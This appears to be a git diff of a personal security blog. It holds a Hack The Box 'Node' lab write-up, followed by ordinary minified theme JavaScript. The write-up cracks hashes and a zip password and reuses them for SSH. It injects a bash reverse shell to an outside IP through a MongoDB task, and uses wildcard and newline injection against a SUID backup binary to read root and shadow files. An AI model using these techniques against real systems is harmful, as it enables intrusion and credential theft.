Active Directory, this will not be the last time you see them mentioned in terms of Active Directory security.References https://zer1t0.gitlab.io/posts/attacking_ad/ https://tryhackme.com/room/activedirectorybasicsIf you find my articles interesting, you can buy me a coffee" }, { "title": "Hack The Box - Node", "url": "/posts/HTB-Node-Writeup/", "categories": "Hackthebox, Hackthebox-Linux, Hackthebox-Medium", "tags": "nmap, nodejs, crackstation, source-code, password-reuse, bof, command-injection, wildcard, reverse-engineering, binaryninja, OSCP", "date": "2022-03-21 09:03:00 +0530", "snippet": "Node is about enumerating an Express NodeJS application to find an API endpoint that discloses the usernames and password hashes. To root the box is a simple buffer overflow and possible by three other unintended ways.ReconNmapThe first thing that I do is run nmap scan that show this results:0xStarlight@kali$ nmap -sC -sV -Pn 10.10.10.58 -vv &gt; nmap_scan.conf0xStarlight@kali$ cat nmap_scan.confPORT STATE SERVICE REASON VERSION# 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwesV+Yg8+5O97ZnNFclkSnRTeyVnj6XokDNKjhB3+8R2I+r78qJmEgVr/SLJ44XjDzzlm0VGUqTmMP2KxANfISZWjv79Ljho3801fY4nbA43492r+6/VXeer0qhhTM4KhSPod5IxllSU6ZSqAV+O0ccf6FBxgEtiiWnE+ThrRiEjLYnZyyWUgi4pE/WPvaJDWtyfVQIrZohayy+pD7AzkLTrsvWzJVA8Vvf+Ysa0ElHfp3lRnw28WacWSaOyV0bsPdTgiiOwmoN8f9aKe5q7Pg4ZikkxNlqNG1EnuBThgMQbrx72kMHfRYvdwAqxOPbRjV96B2SWNWpxMEVL5tYGb| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKQ4w0iqXrfz0H+KQEu5D6zKCfc6IOH2GRBKKkKOnP/0CrH2I4stmM1C2sGvPLSurZtohhC+l0OSjKaZTxPu4sU=| 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5cgCL/RuiM/AqWOqKOIL1uuLLjN9E5vDSBVDqIYU6y# 3000/tcp open hadoop-tasktracker syn-ack Apache Hadoop| hadoop-datanode-info: |_ Logs: /login| hadoop-tasktracker-info: |_ Logs: /login|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF| http-methods: |_ Supported Methods: GET HEAD POST OPTIONS|_http-title: MyPlaceService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelFrom the nmap results, we can see that there is port 3000 which is a web service that running on the server and on port 22 is SSH.Website - TCP 3000First of all, we can add the IP to our /etc/host folder as node.htb0xStarlight@kali$ sudo nano /etc/host10.10.10.58 node.htbUpon visiting the site, it looks like a typical social media site. It has a signup page which is currently closed, and a login page.I tried using some common usernames and passwords to log in, but none of them succeeded. Since it uses NodeJS, there’s a good chance the backend is using MongoDB. I tried some basic NoSQL injections but got no luck.I then tried feroxbuster, but that resulted in the URL redirecting all the pages to the main home page.So none of those helped me anyhow.Cracking HashesLet us refresh the page, check the network tab, look through all the *.js files, and check if we find any interesting files.I found an interesting js file that makes a GET request to another js file to pull down all the profiles.GET /assets/js/app/controllers/profile.js HTTP/1.1Host: node.htb:3000Connection: keep-alive[SNIP...]Let us look at the source code of the js file.It is making a GET API request to /api/users seems to pull down the username parameterUpon visiting the endpoint, we can see that it contains all the user’s IDs, usernames and hashes, which will allow us to log in to the webpage.We can grab the hashes and try cracking them on crackstation to get the passwords in plain text.Great now we have the username and passwords in plain text.Let’s login on to the web page as myP14ceAdm1nAcc0uNT as it has admin privileges.Shell as Markmyplace.backupAfter Logging in, there was an option to download a backup file. We can download the file on our local machine and start to analyze it.We can try checking the file type first.0xStarlight@kali$ file myplace.backup myplace.backup: ASCII text, with very long lines, with no line terminatorsIt says ASCII text. Let us read the content of the file.0xStarlight@kali$ cat myplace.backup UEsDBAoAAAAAAHtvI0sAAAAAAAAAAAAAAAAQABwAdmFyL3d3dy9teXBsYWNlL1VUCQADyfyrWXrgd2F1eAsAAQQAAAAABAAAAABQSwMEFAAJAAgARQEiS0x97zc0EQAAEFMAACEAHAB2YXIvd3d3L215cGxhY2UvcGFja2FnZS1sb2NrLmpzb25VVAkAA9HoqVlL/8pZdXgLAAEEAAAAAAQAAAAAynsHjHtvHInyMHK96c66FXUMDUOwEAWe+Am9h6156G33NE/wuxHi0dnBAx8vweFPkPqZtCDL3hM4F+eobU5Cerzkqznx9Fu1mCWfZFHymBPNt+ihMv+mlQbBfTJ6VQrUVmgoxcEt51mXSx5sWQ/92wOT0aZs1cxrWnlpfAS+mRr/a8HjU8ZqF6XiEhR9EIaLPeuXGFRaB7o9mT0/YvtfL1zSnzme5kdmQhquEV/4Zxo4lJv5JTbxPJeC[SNIP...]It seems like base64 encoded ASCII text.We can pipe the file content as base64, store it into another file, and recheck the file type.0xStarlight@kali$ cat myplace.backup | base64 -d &gt; unknown_file0xStarlight@kali$ file unknown_file unknown_file: Zip archive data, at least v1.0 to extractIt results in a Zip archive data file. When trying to unzip, it requires a password. We can crack the password by fcrackzip using rockyou.txt as the wordlist.0xStarlight@kali$ fcrackzip -u -D -p /home/kali/rockyou.txt unknown_file PASSWORD FOUND!!!!: pw == magicwordLets unzip the file and check the archived content0xStarlight@kali$ ls app.html app.js node_modules package.json package-lock.json staticAfter reading the content in app.js we can get the credentials to connect to MongoDB on localhost to myspace process.0xStarlight@kali$ batcat app.js mark:5AYRft[SNIP…]SSH as MarkLet us try to logon as SSH as Mark with the same password we found from the app.js file.Maybe password reuse?0xStarlight@kali$ ssh mark@10.10.10.58Great we logged on !Shell as TomWe found MongoDB running on Mark’s machine from the downloaded backup file. We check if any node services are running on the machine and try to connect it as Mark.mark@node:/home$ ps aux | grep nodetom 1230 0.0 5.3 1008056 40400 ? Ssl 18:55 0:01 /usr/bin/node /var/scheduler/app.jstom 1234 0.0 5.6 1019880 42936 ? Ssl 18:55 0:01 /usr/bin/node /var/www/myplace/app.jsmark 1541 0.0 0.1 14228 940 pts/0 S+ 19:37 0:00 grep --color=auto nodeIt looks like Tom has the same file running on a different processLet’s read the content from /var/scheduler/app.js file.It looks like it creates a DB collection named task.It takes an input parameter as cmd on line 18 and executes it, and then deletes it after the execution is done.So now we can privilege escalation by injecting a reverse shell in the cmd parameter.Let us try to connect to mongo DB as Mark using the scheduler process.mark@node:/home$ mongo -u mark -p 5AYRft73VtFpc84k schedulerIt seems like the DB is empty after querying the data collections.&gt; show collectionstasks&gt; db.tasks.find()&gt; &gt; db.task.count()0Let us add an object in the tasks collections with a cmd parameter containing a reverse shell that will connect back to Tom since the scheduler process is running as Tom.&gt; db.tasks.insert({"cmd": "bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.17/9999 0&gt;&amp;1'"})WriteResult({ "nInserted" : 1 })&gt;We got a shell as Tom !backup SUIDLet us check the SUID privileges for Tom user and search for any interesting files.tom@node:/home$ find / -user root -perm -4000 -exec ls -ldb {} \\; 2&gt;/dev/nullI found an interesting file backup, with file permissions as admin to execute.We can execute the file since we have GUID as admin as Tom.On executing the file, it doesn’t return anything.tom@node:/$ /usr/local/bin/backupI do remember that there was a process that spawns backup on api.js whcih we found earlier.Let’s read that and see what it does.var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);It takes three parameters: -q, then a backup key and a directory name.Let us run the file using strace to check what’s happening.tom@node:/$ strace /usr/local/bin/backup a a aAt the end of the file we can notice its trying read the content of "/etc/myplace/keys" file.[SNIP...]) = 81write(1, "\\n", 1) = 1open("/etc/myplace/keys", O_RDONLY) = 3fstat64(3, {st_mode=S_IFREG|0644, st_size=196, ...}) = 0read(3, "a01a6aa5aaf1d7729f35c8278daae30f"..., 4096) = 196read(3, "", 4096) = 0write(1, " \\33[33m[!]\\33[37m Ah-ah-ah! You did"..., 57 [!] Ah-ah-ah! You didn't say the magic word!) = 57[SNIP...]After reading the file’s content, We can figure that it contains some keys. Maybe we can use these keys and read the root directory?tom@node:/$ cat /etc/myplace/keysa01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc50845fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d4743de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110Shell as RootRead Flag only [ Path I ]Since now we have the keys and know how it works, let us try to read the root directory folder.tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /rootLet us transfer the output to our local machine and analyze it. It looks like base64, and piping it out to a file and analyzing it tells it is a zip file. We can use the same password as last time to crack the zip and read the data.0xStarlight@kali$ cat unknown | base64 -d &gt; unknown.zip0xStarlight@kali$ unzip unknown.zipAfter extracting the file it gives us root.txtLet us read the content of the file.0xStarlight@kali$ cat root.txtIts a troll ! :( I guess its not that easyLet us try it out again without / in /root while entering the parameter. I am just guessing and checking the result.tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 rootIt has way more output this time.Let us do the same steps as before, extract the file and then read the file’s contents.0xStarlight@kali$ unzip decode.zip Archive: decode1.zip creating: root/[decode1.zip] root/.profile password: inflating: root/.profile inflating: root/.bash_history creating: root/.cache/ extracting: root/.cache/motd.legal-displayed extracting: root/root.txt inflating: root/.bashrc inflating: root/.viminfo creating: root/.nano/ extracting: root/.nano/search_history It looks like we have root.txt 🥳.But it’s not over yet. We don’t have a shell.Wild Characters [ Path - II ]Let’s transfer this file over to our local host machine and analyze the file on binaryninja.Open the main function in the disassembly Graph view.After scrolling down, we can see that it has /root as a bad character, resulting in the troll ASCII Art.Further Scrolling down, we can get a list of all the bad chars that it doesn’t allow. ..And if we go on doing this, we will find all the bad characters.Bad chars : .. /root ; &amp; ` $ | /etc // / etcLooking at our bad chars list, we don’t have the * nor ~ sign.We can use this to bypass and read the /root directories files and content.For example, if we do the following command on our local machine.$ cd ~$ cd r**t$ cd r??tWe will be returned to our home directory since there is no other directory it can get returned to.Hence we can read the root flag this way.Let us try it out.tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r**t/roo*.txtThis gives us the root.txt file content.We can do the same steps as privilege escalation 1 to extract the file and retrieve the flag.We can also try to read the /etc/passwd file and then try to crack it, then SSH as root on the machine.tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 "/e*c/shado*" ; echoExtract the file by the same methods above, and then we can read the shadow file root hashes.Command Injection [ Path-III ]Open the main function in the disassembly Graph view.Scroll down to the part where it executes the zip command if the parameters are correct.Here we can see it has the exec command for zipping the data, and below that, we can also see that it calls the system; which means we might be able to do command injection on the third parameter with the help of a new line and get root and it is not a bad char as well.Now let us find out how we can do the command injection.Open the main function in ELF Linear View.We can see a command which gets executed if we enter the correct magic word. It will zip the file content in base64 and display it to us on the screen."/usr/bin/zip -r -P magicword %s %s &gt; /dev/null"As per the command, we can see it takes the last argument and pushes it to /dev/null. Hence, the command won’t execute it.So we can try to execute /bin/bash and get a root shell!We can do the command injection something like this."randomblahbla/bin/bashrandomblahba"We can’t do command injection in the first parameter since it has a bad char check for / but not for the chars on a new line, and we can’t put it at the end as it will get flushed out to /dev/null.Lets try it outWE ARE ROOT !!BOF [ Path - IV ]A really good blog is written for this method of priv eschttps://rastating.github.io/hackthebox-node-walkthrough/Box RootedHTB Profile : 0xStarlightIf you find my articles interesting, you can buy me a coffee" } ] diff --git a/assets/js/data/swcache.js b/assets/js/data/swcache.js new file mode 100644 index 00000000..32d41736 --- /dev/null +++ b/assets/js/data/swcache.js @@ -0,0 +1 @@ +const resource = [ /* --- CSS --- */ '/assets/css/style.css', /* --- PWA --- */ '/app.js', '/sw.js', /* --- HTML --- */ '/index.html', '/404.html', '/categories/', '/tags/', '/archives/', '/about/', /* --- Favicons & compressed JS --- */ '/assets/img/favicons/android-chrome-192x192.png', '/assets/img/favicons/android-chrome-384x384.png', '/assets/img/favicons/android-chrome-512x512.png', '/assets/img/favicons/apple-touch-icon.png', '/assets/img/favicons/favicon-16x16.png', '/assets/img/favicons/favicon-32x32.png', '/assets/img/favicons/favicon.ico', '/assets/img/favicons/mstile-150x150.png', '/assets/js/dist/categories.min.js', '/assets/js/dist/commons.min.js', '/assets/js/dist/home.min.js', '/assets/js/dist/misc.min.js', '/assets/js/dist/page.min.js', '/assets/js/dist/post.min.js', '/assets/js/dist/pvreport.min.js' ]; /* The request url with below domain will be cached */ const allowedDomains = [ 'www.googletagmanager.com', 'www.google-analytics.com', '0xStarlight.github.io', 'fonts.gstatic.com', 'fonts.googleapis.com', 'cdn.jsdelivr.net', 'polyfill.io' ]; /* Requests that include the following path will be banned */ const denyUrls = [ ]; diff --git a/assets/js/dist/categories.min.js b/assets/js/dist/categories.min.js new file mode 100644 index 00000000..c369f689 --- /dev/null +++ b/assets/js/dist/categories.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v5.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +$(function(){$(window).scroll(()=>{50<$(this).scrollTop()&&"none"===$("#sidebar-trigger").css("display")?$("#back-to-top").fadeIn():$("#back-to-top").fadeOut()}),$("#back-to-top").click(()=>($("body,html").animate({scrollTop:0},800),!1))});const LocaleHelper=function(){const e=$('meta[name="prefer-datetime-locale"]'),o=0o,attrTimestamp:()=>t,attrDateFormat:()=>a,getTimestamp:e=>Number(e.attr(t)),getDateFormat:e=>e.attr(a)}}();$(function(){$(".mode-toggle").click(e=>{const o=$(e.target);let t=o.prop("tagName")==="button".toUpperCase()?o:o.parent();t.blur(),flipMode()})});const ScrollHelper=function(){const e=$("body"),o="data-topbar-visible",t=$("#topbar-wrapper").outerHeight();let a=0,r=!1,l=!1;return{hideTopbar:()=>e.attr(o,!1),showTopbar:()=>e.attr(o,!0),addScrollUpTask:()=>{a+=1,r=r||!0},popScrollUpTask:()=>--a,hasScrollUpTask:()=>0!0===r,unlockTopbar:()=>r=!1,getTopbarHeight:()=>t,orientationLocked:()=>!0===l,lockOrientation:()=>l=!0,unLockOrientation:()=>l=!1}}();$(function(){const e=$("#sidebar-trigger"),o=$("#search-trigger"),t=$("#search-cancel"),a=$("#main"),r=$("#topbar-title"),l=$("#search-wrapper"),n=$("#search-result-wrapper"),s=$("#search-results"),i=$("#search-input"),c=$("#search-hints"),d=function(){let e=0;return{block(){e=window.scrollY,$("html,body").scrollTop(0)},release(){$("html,body").scrollTop(e)},getOffset(){return e}}}(),p={on(){e.addClass("unloaded"),r.addClass("unloaded"),o.addClass("unloaded"),l.addClass("d-flex"),t.addClass("loaded")},off(){t.removeClass("loaded"),l.removeClass("d-flex"),e.removeClass("unloaded"),r.removeClass("unloaded"),o.removeClass("unloaded")}},u=function(){let e=!1;return{on(){e||(d.block(),n.removeClass("unloaded"),a.addClass("unloaded"),e=!0)},off(){e&&(s.empty(),c.hasClass("unloaded")&&c.removeClass("unloaded"),n.addClass("unloaded"),a.removeClass("unloaded"),d.release(),i.val(""),e=!1)},isVisible(){return e}}}();function f(){return t.hasClass("loaded")}o.click(function(){p.on(),u.on(),i.focus()}),t.click(function(){p.off(),u.off()}),i.focus(function(){l.addClass("input-focus")}),i.focusout(function(){l.removeClass("input-focus")}),i.on("input",()=>{""===i.val()?f()?c.removeClass("unloaded"):u.off():(u.on(),f()&&c.addClass("unloaded"))})}),$(function(){var e=function(){const e="sidebar-display";let o=!1;const t=$("body");return{toggle(){!1===o?t.attr(e,""):t.removeAttr(e),o=!o}}}();$("#sidebar-trigger").click(e.toggle),$("#mask").click(e.toggle)}),$(function(){$('[data-toggle="tooltip"]').tooltip()}),$(function(){const o=$("#search-input"),t=ScrollHelper.getTopbarHeight();let e,a=0;function r(){0!==$(window).scrollTop()&&(ScrollHelper.lockOrientation(),ScrollHelper.hideTopbar())}screen.orientation?screen.orientation.onchange=()=>{var e=screen.orientation.type;"landscape-primary"!==e&&"landscape-secondary"!==e||r()}:$(window).on("orientationchange",()=>{$(window).width()<$(window).height()&&r()}),$(window).scroll(()=>{e=e||!0}),setInterval(()=>{e&&(function(){var e=$(this).scrollTop();if(!(Math.abs(a-e)<=t)){if(e>a)ScrollHelper.hideTopbar(),o.is(":focus")&&o.blur();else if(e+$(window).height()<$(document).height()){if(ScrollHelper.hasScrollUpTask())return;ScrollHelper.topbarLocked()?ScrollHelper.unlockTopbar():ScrollHelper.orientationLocked()?ScrollHelper.unLockOrientation():ScrollHelper.showTopbar()}a=e}}(),e=!1)},250)}),$(function(){var o="div.post>h1:first-of-type";const t=$(o),n=$("#topbar-title");if(0!==t.length&&!t.hasClass("dynamic-title")&&!n.is(":hidden")){const s=n.text().trim();let a=t.text().trim(),r=!1,l=0;($("#page-category").length||$("#page-tag").length)&&/\s/.test(a)&&(a=a.replace(/[0-9]/g,"").trim()),t.offset().top<$(window).scrollTop()&&n.text(a);let e=new IntersectionObserver(e=>{var o,t;r?(o=$(window).scrollTop(),t=l{50<$(this).scrollTop()&&"none"===$("#sidebar-trigger").css("display")?$("#back-to-top").fadeIn():$("#back-to-top").fadeOut()}),$("#back-to-top").click(()=>($("body,html").animate({scrollTop:0},800),!1))});const LocaleHelper=function(){const e=$('meta[name="prefer-datetime-locale"]'),o=0o,attrTimestamp:()=>t,attrDateFormat:()=>a,getTimestamp:e=>Number(e.attr(t)),getDateFormat:e=>e.attr(a)}}();$(function(){$(".mode-toggle").click(e=>{const o=$(e.target);let t=o.prop("tagName")==="button".toUpperCase()?o:o.parent();t.blur(),flipMode()})});const ScrollHelper=function(){const e=$("body"),o="data-topbar-visible",t=$("#topbar-wrapper").outerHeight();let a=0,r=!1,l=!1;return{hideTopbar:()=>e.attr(o,!1),showTopbar:()=>e.attr(o,!0),addScrollUpTask:()=>{a+=1,r=r||!0},popScrollUpTask:()=>--a,hasScrollUpTask:()=>0!0===r,unlockTopbar:()=>r=!1,getTopbarHeight:()=>t,orientationLocked:()=>!0===l,lockOrientation:()=>l=!0,unLockOrientation:()=>l=!1}}();$(function(){const e=$("#sidebar-trigger"),o=$("#search-trigger"),t=$("#search-cancel"),a=$("#main"),r=$("#topbar-title"),l=$("#search-wrapper"),n=$("#search-result-wrapper"),s=$("#search-results"),c=$("#search-input"),i=$("#search-hints"),d=function(){let e=0;return{block(){e=window.scrollY,$("html,body").scrollTop(0)},release(){$("html,body").scrollTop(e)},getOffset(){return e}}}(),p={on(){e.addClass("unloaded"),r.addClass("unloaded"),o.addClass("unloaded"),l.addClass("d-flex"),t.addClass("loaded")},off(){t.removeClass("loaded"),l.removeClass("d-flex"),e.removeClass("unloaded"),r.removeClass("unloaded"),o.removeClass("unloaded")}},u=function(){let e=!1;return{on(){e||(d.block(),n.removeClass("unloaded"),a.addClass("unloaded"),e=!0)},off(){e&&(s.empty(),i.hasClass("unloaded")&&i.removeClass("unloaded"),n.addClass("unloaded"),a.removeClass("unloaded"),d.release(),c.val(""),e=!1)},isVisible(){return e}}}();function f(){return t.hasClass("loaded")}o.click(function(){p.on(),u.on(),c.focus()}),t.click(function(){p.off(),u.off()}),c.focus(function(){l.addClass("input-focus")}),c.focusout(function(){l.removeClass("input-focus")}),c.on("input",()=>{""===c.val()?f()?i.removeClass("unloaded"):u.off():(u.on(),f()&&i.addClass("unloaded"))})}),$(function(){var e=function(){const e="sidebar-display";let o=!1;const t=$("body");return{toggle(){!1===o?t.attr(e,""):t.removeAttr(e),o=!o}}}();$("#sidebar-trigger").click(e.toggle),$("#mask").click(e.toggle)}),$(function(){$('[data-toggle="tooltip"]').tooltip()}),$(function(){const o=$("#search-input"),t=ScrollHelper.getTopbarHeight();let e,a=0;function r(){0!==$(window).scrollTop()&&(ScrollHelper.lockOrientation(),ScrollHelper.hideTopbar())}screen.orientation?screen.orientation.onchange=()=>{var e=screen.orientation.type;"landscape-primary"!==e&&"landscape-secondary"!==e||r()}:$(window).on("orientationchange",()=>{$(window).width()<$(window).height()&&r()}),$(window).scroll(()=>{e=e||!0}),setInterval(()=>{e&&(function(){var e=$(this).scrollTop();if(!(Math.abs(a-e)<=t)){if(e>a)ScrollHelper.hideTopbar(),o.is(":focus")&&o.blur();else if(e+$(window).height()<$(document).height()){if(ScrollHelper.hasScrollUpTask())return;ScrollHelper.topbarLocked()?ScrollHelper.unlockTopbar():ScrollHelper.orientationLocked()?ScrollHelper.unLockOrientation():ScrollHelper.showTopbar()}a=e}}(),e=!1)},250)}),$(function(){var o="div.post>h1:first-of-type";const t=$(o),n=$("#topbar-title");if(0!==t.length&&!t.hasClass("dynamic-title")&&!n.is(":hidden")){const s=n.text().trim();let a=t.text().trim(),r=!1,l=0;($("#page-category").length||$("#page-tag").length)&&/\s/.test(a)&&(a=a.replace(/[0-9]/g,"").trim()),t.offset().top<$(window).scrollTop()&&n.text(a);let e=new IntersectionObserver(e=>{var o,t;r?(o=$(window).scrollTop(),t=l{50<$(this).scrollTop()&&"none"===$("#sidebar-trigger").css("display")?$("#back-to-top").fadeIn():$("#back-to-top").fadeOut()}),$("#back-to-top").click(()=>($("body,html").animate({scrollTop:0},800),!1))});const LocaleHelper=function(){const t=$('meta[name="prefer-datetime-locale"]'),e=0e,attrTimestamp:()=>o,attrDateFormat:()=>a,getTimestamp:t=>Number(t.attr(o)),getDateFormat:t=>t.attr(a)}}();$(function(){$(".mode-toggle").click(t=>{const e=$(t.target);let o=e.prop("tagName")==="button".toUpperCase()?e:e.parent();o.blur(),flipMode()})});const ScrollHelper=function(){const t=$("body"),e="data-topbar-visible",o=$("#topbar-wrapper").outerHeight();let a=0,r=!1,l=!1;return{hideTopbar:()=>t.attr(e,!1),showTopbar:()=>t.attr(e,!0),addScrollUpTask:()=>{a+=1,r=r||!0},popScrollUpTask:()=>--a,hasScrollUpTask:()=>0!0===r,unlockTopbar:()=>r=!1,getTopbarHeight:()=>o,orientationLocked:()=>!0===l,lockOrientation:()=>l=!0,unLockOrientation:()=>l=!1}}();$(function(){const t=$("#sidebar-trigger"),e=$("#search-trigger"),o=$("#search-cancel"),a=$("#main"),r=$("#topbar-title"),l=$("#search-wrapper"),n=$("#search-result-wrapper"),i=$("#search-results"),s=$("#search-input"),c=$("#search-hints"),d=function(){let t=0;return{block(){t=window.scrollY,$("html,body").scrollTop(0)},release(){$("html,body").scrollTop(t)},getOffset(){return t}}}(),p={on(){t.addClass("unloaded"),r.addClass("unloaded"),e.addClass("unloaded"),l.addClass("d-flex"),o.addClass("loaded")},off(){o.removeClass("loaded"),l.removeClass("d-flex"),t.removeClass("unloaded"),r.removeClass("unloaded"),e.removeClass("unloaded")}},u=function(){let t=!1;return{on(){t||(d.block(),n.removeClass("unloaded"),a.addClass("unloaded"),t=!0)},off(){t&&(i.empty(),c.hasClass("unloaded")&&c.removeClass("unloaded"),n.addClass("unloaded"),a.removeClass("unloaded"),d.release(),s.val(""),t=!1)},isVisible(){return t}}}();function f(){return o.hasClass("loaded")}e.click(function(){p.on(),u.on(),s.focus()}),o.click(function(){p.off(),u.off()}),s.focus(function(){l.addClass("input-focus")}),s.focusout(function(){l.removeClass("input-focus")}),s.on("input",()=>{""===s.val()?f()?c.removeClass("unloaded"):u.off():(u.on(),f()&&c.addClass("unloaded"))})}),$(function(){var t=function(){const t="sidebar-display";let e=!1;const o=$("body");return{toggle(){!1===e?o.attr(t,""):o.removeAttr(t),e=!e}}}();$("#sidebar-trigger").click(t.toggle),$("#mask").click(t.toggle)}),$(function(){$('[data-toggle="tooltip"]').tooltip()}),$(function(){const e=$("#search-input"),o=ScrollHelper.getTopbarHeight();let t,a=0;function r(){0!==$(window).scrollTop()&&(ScrollHelper.lockOrientation(),ScrollHelper.hideTopbar())}screen.orientation?screen.orientation.onchange=()=>{var t=screen.orientation.type;"landscape-primary"!==t&&"landscape-secondary"!==t||r()}:$(window).on("orientationchange",()=>{$(window).width()<$(window).height()&&r()}),$(window).scroll(()=>{t=t||!0}),setInterval(()=>{t&&(function(){var t=$(this).scrollTop();if(!(Math.abs(a-t)<=o)){if(t>a)ScrollHelper.hideTopbar(),e.is(":focus")&&e.blur();else if(t+$(window).height()<$(document).height()){if(ScrollHelper.hasScrollUpTask())return;ScrollHelper.topbarLocked()?ScrollHelper.unlockTopbar():ScrollHelper.orientationLocked()?ScrollHelper.unLockOrientation():ScrollHelper.showTopbar()}a=t}}(),t=!1)},250)}),$(function(){var e="div.post>h1:first-of-type";const o=$(e),n=$("#topbar-title");if(0!==o.length&&!o.hasClass("dynamic-title")&&!n.is(":hidden")){const i=n.text().trim();let a=o.text().trim(),r=!1,l=0;($("#page-category").length||$("#page-tag").length)&&/\s/.test(a)&&(a=a.replace(/[0-9]/g,"").trim()),o.offset().top<$(window).scrollTop()&&n.text(a);let t=new IntersectionObserver(t=>{var e,o;r?(e=$(window).scrollTop(),o=lt.toUpperCase())),$(this).text()!==t&&$(this).text(t)}else--o}),0===o&&void 0!==e&&clearInterval(e),o}dayjs.locale(LocaleHelper.locale()),dayjs.extend(window.dayjs_plugin_relativeTime),dayjs.extend(window.dayjs_plugin_localizedFormat),0!==o&&(t.each(function(){var t,e=$(this).attr("data-toggle");void 0!==e&&"tooltip"===e&&(t=$(this).attr("data-tooltip-df"),e=LocaleHelper.getTimestamp($(this)),t=dayjs.unix(e).format(t),$(this).attr("data-original-title",t),$(this).removeAttr("data-tooltip-df"))}),r()&&(e=setInterval(r,6e4)))}); \ No newline at end of file diff --git a/assets/js/dist/misc.min.js b/assets/js/dist/misc.min.js new file mode 100644 index 00000000..c4cb36d1 --- /dev/null +++ b/assets/js/dist/misc.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v5.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +$(function(){$(window).scroll(()=>{50<$(this).scrollTop()&&"none"===$("#sidebar-trigger").css("display")?$("#back-to-top").fadeIn():$("#back-to-top").fadeOut()}),$("#back-to-top").click(()=>($("body,html").animate({scrollTop:0},800),!1))});const LocaleHelper=function(){const e=$('meta[name="prefer-datetime-locale"]'),t=0t,attrTimestamp:()=>o,attrDateFormat:()=>a,getTimestamp:e=>Number(e.attr(o)),getDateFormat:e=>e.attr(a)}}();$(function(){$(".mode-toggle").click(e=>{const t=$(e.target);let o=t.prop("tagName")==="button".toUpperCase()?t:t.parent();o.blur(),flipMode()})});const ScrollHelper=function(){const e=$("body"),t="data-topbar-visible",o=$("#topbar-wrapper").outerHeight();let a=0,r=!1,l=!1;return{hideTopbar:()=>e.attr(t,!1),showTopbar:()=>e.attr(t,!0),addScrollUpTask:()=>{a+=1,r=r||!0},popScrollUpTask:()=>--a,hasScrollUpTask:()=>0!0===r,unlockTopbar:()=>r=!1,getTopbarHeight:()=>o,orientationLocked:()=>!0===l,lockOrientation:()=>l=!0,unLockOrientation:()=>l=!1}}();$(function(){const e=$("#sidebar-trigger"),t=$("#search-trigger"),o=$("#search-cancel"),a=$("#main"),r=$("#topbar-title"),l=$("#search-wrapper"),n=$("#search-result-wrapper"),s=$("#search-results"),i=$("#search-input"),c=$("#search-hints"),d=function(){let e=0;return{block(){e=window.scrollY,$("html,body").scrollTop(0)},release(){$("html,body").scrollTop(e)},getOffset(){return e}}}(),p={on(){e.addClass("unloaded"),r.addClass("unloaded"),t.addClass("unloaded"),l.addClass("d-flex"),o.addClass("loaded")},off(){o.removeClass("loaded"),l.removeClass("d-flex"),e.removeClass("unloaded"),r.removeClass("unloaded"),t.removeClass("unloaded")}},u=function(){let e=!1;return{on(){e||(d.block(),n.removeClass("unloaded"),a.addClass("unloaded"),e=!0)},off(){e&&(s.empty(),c.hasClass("unloaded")&&c.removeClass("unloaded"),n.addClass("unloaded"),a.removeClass("unloaded"),d.release(),i.val(""),e=!1)},isVisible(){return e}}}();function f(){return o.hasClass("loaded")}t.click(function(){p.on(),u.on(),i.focus()}),o.click(function(){p.off(),u.off()}),i.focus(function(){l.addClass("input-focus")}),i.focusout(function(){l.removeClass("input-focus")}),i.on("input",()=>{""===i.val()?f()?c.removeClass("unloaded"):u.off():(u.on(),f()&&c.addClass("unloaded"))})}),$(function(){var e=function(){const e="sidebar-display";let t=!1;const o=$("body");return{toggle(){!1===t?o.attr(e,""):o.removeAttr(e),t=!t}}}();$("#sidebar-trigger").click(e.toggle),$("#mask").click(e.toggle)}),$(function(){$('[data-toggle="tooltip"]').tooltip()}),$(function(){const t=$("#search-input"),o=ScrollHelper.getTopbarHeight();let e,a=0;function r(){0!==$(window).scrollTop()&&(ScrollHelper.lockOrientation(),ScrollHelper.hideTopbar())}screen.orientation?screen.orientation.onchange=()=>{var e=screen.orientation.type;"landscape-primary"!==e&&"landscape-secondary"!==e||r()}:$(window).on("orientationchange",()=>{$(window).width()<$(window).height()&&r()}),$(window).scroll(()=>{e=e||!0}),setInterval(()=>{e&&(function(){var e=$(this).scrollTop();if(!(Math.abs(a-e)<=o)){if(e>a)ScrollHelper.hideTopbar(),t.is(":focus")&&t.blur();else if(e+$(window).height()<$(document).height()){if(ScrollHelper.hasScrollUpTask())return;ScrollHelper.topbarLocked()?ScrollHelper.unlockTopbar():ScrollHelper.orientationLocked()?ScrollHelper.unLockOrientation():ScrollHelper.showTopbar()}a=e}}(),e=!1)},250)}),$(function(){var t="div.post>h1:first-of-type";const 